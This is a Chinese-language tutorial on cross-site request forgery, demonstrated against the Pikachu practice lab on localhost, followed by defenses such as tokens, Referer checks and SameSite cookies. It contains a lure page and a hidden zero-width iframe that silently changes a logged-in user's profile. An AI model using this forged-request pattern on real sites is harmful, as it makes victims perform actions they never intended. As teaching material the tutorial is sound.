网络安全-跨站请求伪造(CSRF)的原理、攻击及防御

简介: 网络安全-跨站请求伪造(CSRF)的原理、攻击及防御

简介

跨站请求伪造(Cross-site request forgery),也被称为 one-click attack 或者 session riding,通常缩写为 CSRF 或者 XSRF, 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。跟跨站脚本(XSS)相比,XSS 利用的是用户对指定网站的信任,CSRF 利用的是网站对用户网页浏览器的信任。

原理

构造链接,黑客在自己的网站或邮箱等引诱已登录用户点击按钮等,来请求想要攻击的网站,浏览器会携带已登录用户的Cookie去访问黑客想要攻击的网站。CSRF攻击利用网站对于用户网页浏览器的信任。

举例

漏洞发现

使用靶机:pikachu

2020062310470442.png

                                             CSRF(get)

使用vince 123456登录

2020062310470442.png

                                            登录后查看

点击修改个人信息

2020062310470442.png

                                               修改

http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=%E5%A5%B3&phonenum=13098763456&add=beijing&email=vince@qq.com&submit=submit


抓包发现链接如上,存在CSRF漏洞。

链接及请求伪造

click.html

<html>
  <head>
    <title>
      澳门皇家赌场上线啦!!!
    </title>
  </head>
  <body>
    <a href="requestforgery.html">美女荷官免费送100万,点击领取!!!</a>
  </body>
</html>

requestforgery.html

<html>
  <head>
    <title>
      领奖平台!!!
    </title>
  </head>
  <body>
    <p>请邮箱查收</p>
    <iframe/ src="http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=%E5%A5%B3&phonenum=13098763456&add=shanghai&email=vince@qq.com&submit=submit" frameborder="0" width="0px">
  </body>
</html>

修改地址即add参数为shanghai

CSRF攻击

不同浏览器

pikachu登录是使用火狐,以下点击是使用谷歌。

2020062310470442.png

                                                         恶意链接

2020062310470442.png

                                                   跳转至请求伪造界面

界面刷新后没有问题

2020062310470442.png

                                                   界面刷新

未登录状态

点击退出登录

image.png                                                点击退出登录

使用火狐浏览器(网站同一浏览器)进行访问。

2020062310470442.png

                                                恶意链接

2020062310470442.png

                                                           请求伪造

登录后查看,未改变。

2020062310470442.png

                                                   未改变

登录状态

登录后重复上述操作,攻击成功!!!

2020062310470442.png

                                  攻击成功,地址修改

代码查看

pikachu\vul\csrf\csrfget\csrf_get_login.php

2020062310470442.png

                                            session保存

使用session保存的,没有验证码或token。

工具

deemon

csrftester与burpsuite

csrf-scanner(闭源)

防御

用户

通过简介就可以看出用户可以做的防御措施

  • 不登录(用户使用网站应该会登录,登录时可以更换浏览器或选择浏览器模式)
  • 不点击恶意链接
  • 使用特殊网站时单独用一个浏览器

程序员

  • 验证码

这个比较常见,我就不多说了,目前各种验证码都有可能通过机器学习等方式进行破解。

  • referer

请求头带的,可以标识来源。

  • token

token是常用的一种方式,通过设置过期时间进行刷新,在文章django-rest-framework-jwt与django-rest-framework-simplejwt的对比及使用中有对比python中两种JWT包,当时博主在学REST API。

  • 二次验证

在进行修改密码,钱财业务等敏感操作时再次核验身份,通过手机短信,面部识别等

-----------------------------------------2021年9月1日更新------------------------------------------

  • Same Site Cookie

由Google提出的草案,在原有的Cookie中,新添加了一个SameSite属性,它标识着在非同源的请求中,是否可以带上Cookie,它可以设置为3个值,分别为:

  1. Strict
  2. Lax
  3. None

CORS与CSRF

-------------------------------------2021年9月1日更新完毕---------------------------------------

若存在xss攻击,则没有必要防御CSRF了,因为网站已经不安全,可以通过XSS获取cookie、token等,换浏览器或在浏览器层面防御也就没有意义了。


b站视频:恶意链接是怎么对你攻击的(CSRF讲解)


更多内容查看:网络安全-自学笔记


喜欢本文的请动动小手点个赞,收藏一下,有问题请下方评论,转载请注明出处,并附有原文链接,谢谢!如有侵权,请及时联系。


相关文章
|
3月前
|
安全 前端开发 JavaScript
什么是 CSRF 攻击?如何启用 CSRF 保护来抵御该攻击?
什么是 CSRF 攻击?如何启用 CSRF 保护来抵御该攻击?
303 5
|
3月前
|
存储 Web App开发 安全
如何防范 CSRF 攻击
CSRF(跨站请求伪造)攻击是一种常见的安全威胁。防范措施包括:使用Anti-CSRF Token、检查HTTP Referer、限制Cookie作用域、采用双重提交Cookie机制等,确保请求的合法性与安全性。
|
3月前
|
网络安全 数据安全/隐私保护
什么是 CSRF 攻击
CSRF(跨站请求伪造)攻击是指攻击者诱导用户点击恶意链接或提交表单,利用用户已登录的身份在目标网站上执行非授权操作,如转账、修改密码等。这种攻击通常通过嵌入恶意代码或链接实现。
|
3月前
|
SQL 存储 安全
什么是XSS攻击?什么是SQL注入攻击?什么是CSRF攻击?
理解并防范XSS、SQL注入和CSRF攻击是Web应用安全的基础。通过采用严格的输入验证、使用安全编码实践以及实现适当的身份验证和授权机制,可以有效防止这些常见的Web攻击,保障应用程序和用户的数据安全。
71 0
|
3月前
|
安全 Go PHP
Web安全进阶:XSS与CSRF攻击防御策略深度解析
【10月更文挑战第27天】本文深入解析了Web安全中的XSS和CSRF攻击防御策略。针对XSS,介绍了输入验证与净化、内容安全策略(CSP)和HTTP头部安全配置;针对CSRF,提出了使用CSRF令牌、验证HTTP请求头、限制同源策略和双重提交Cookie等方法,帮助开发者有效保护网站和用户数据安全。
119 2
|
3月前
|
安全 前端开发 Java
Web安全进阶:XSS与CSRF攻击防御策略深度解析
【10月更文挑战第26天】Web安全是现代软件开发的重要领域,本文深入探讨了XSS和CSRF两种常见攻击的原理及防御策略。针对XSS,介绍了输入验证与转义、使用CSP、WAF、HTTP-only Cookie和代码审查等方法。对于CSRF,提出了启用CSRF保护、设置CSRF Token、使用HTTPS、二次验证和用户教育等措施。通过这些策略,开发者可以构建更安全的Web应用。
143 4
|
3月前
|
存储 安全 Go
Web安全基础:防范XSS与CSRF攻击的方法
【10月更文挑战第25天】Web安全是互联网应用开发中的重要环节。本文通过具体案例分析了跨站脚本攻击(XSS)和跨站请求伪造(CSRF)的原理及防范方法,包括服务器端数据过滤、使用Content Security Policy (CSP)、添加CSRF令牌等措施,帮助开发者构建更安全的Web应用。
159 3
|
6月前
|
Web App开发 存储 安全
就一次!带你彻底搞懂CSRF攻击与防御
与XSS攻击相比,利用CSRF漏洞发动攻击会比较困难,这也是在网络上看起来CSRF的人气小于XSS的原因之一。下面我们来利用CSRF漏洞发起攻击,并针对攻击进行防御,彻底弄懂CSRF,话不多说,我们直接开冲。
|
7月前
|
运维 安全 Java
什么是 CSRF?如何防止 CSRF 攻击?
CSRF 攻击是一种常见且危险的 Web 安全漏洞,攻击者可以通过伪造用户请求,执行恶意操作,作为程序员,为了防御 CSRF 攻击,常见的策略包括使用 CSRF Token、检查 Referer 或 Origin 头、设置 SameSite Cookie 属性以及双重提交 Cookie。 因为程序员对于 CSRF 攻击可以做的事情还是很有限,所以,承担主要责任的是安全部门或者运维部门,但是作为程序员,我们需要具备这些安全意识,在安全等级比较高的需求中也需要把这些安全因素考虑在内。
|
7月前
|
SQL 安全 数据库
Python Web开发者必学:SQL注入、XSS、CSRF攻击与防御实战演练!
【7月更文挑战第26天】在 Python Web 开发中, 安全性至关重要。本文聚焦 SQL 注入、XSS 和 CSRF 这三大安全威胁,提供实战防御策略。SQL 注入可通过参数化查询和 ORM 框架来防范;XSS 则需 HTML 转义用户输入与实施 CSP;CSRF 防御依赖 CSRF 令牌和双重提交 Cookie。掌握这些技巧,能有效加固 Web 应用的安全防线。安全是持续的过程,需贯穿开发始终。
118 1
Python Web开发者必学:SQL注入、XSS、CSRF攻击与防御实战演练!

热门文章

最新文章